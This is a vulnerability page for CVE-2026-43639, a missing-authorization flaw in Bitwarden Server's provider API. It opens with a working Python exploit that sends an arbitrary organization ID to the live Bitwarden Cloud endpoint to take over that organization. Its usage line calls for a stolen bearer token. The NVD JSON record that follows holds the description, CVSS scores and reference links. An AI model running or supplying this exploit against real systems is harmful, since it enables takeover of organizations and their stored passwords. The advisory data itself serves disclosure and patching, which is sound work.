CVE-2026-43639

import requests # Exploit for CVE-2026-43639: Bitwarden Server Missing Authorization # Requires authentication as a Provider Service User on Bitwarden Cloud def exploit(target_org_id, provider_id, bearer_token): # Endpoint vulnerable to missing authorization url = f"https://api.bitwarden.com/providers/{provider_id}/clients/existing" headers = { "Authorization": f"Bearer {bearer_token}", "Content-Type": "application/json" } # Payload containing the arbitrary organization ID to takeover payload = { "organizationId": target_org_id } try: response = requests.post(url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully took over organization: {target_org_id}") return True else: print(f"[-] Exploit failed. Status: {response.status_code}, Response: {response.text}") return False except Exception as e: print(f"[!] Error: {e}") return False # Usage # exploit("TARGET_ORG_UUID", "ATTACKER_PROVIDER_UUID", "STOLEN_BEARER_TOKEN")

{"cve": {"id": "CVE-2026-43639", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:36.970", "lastModified": "2026-05-11T18:16:36.970", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bitwarden Server prior to v2026.4.0 contains a missing authorization vulnerability that allows a provider service user to add an arbitrary organization to their provider via `POST /providers/{providerId}/clients/existing`, resulting in takeover of the target organization; self-hosted installations are unaffected as this endpoint is restricted to Cloud via SelfHosted(NotSelfHostedOnly = true)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/bitwarden/server/commit/0918bfdda6f5eec391c69bd9074f6aef4eac0b1d", "source": "[email protected]"}, {"url": "https://github.com/bitwarden/server/pull/7372", "source": "[email protected]"}, {"url": "https://github.com/bitwarden/server/releases/tag/v2026.4.0", "source": "[email protected]"}, {"url": "https://sanjokkarki.com.np/blog/bitwarden-provider-takeover", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/bitwarden-server-missing-authorization-via-provider-clients", "source": "[email protected]"}]}}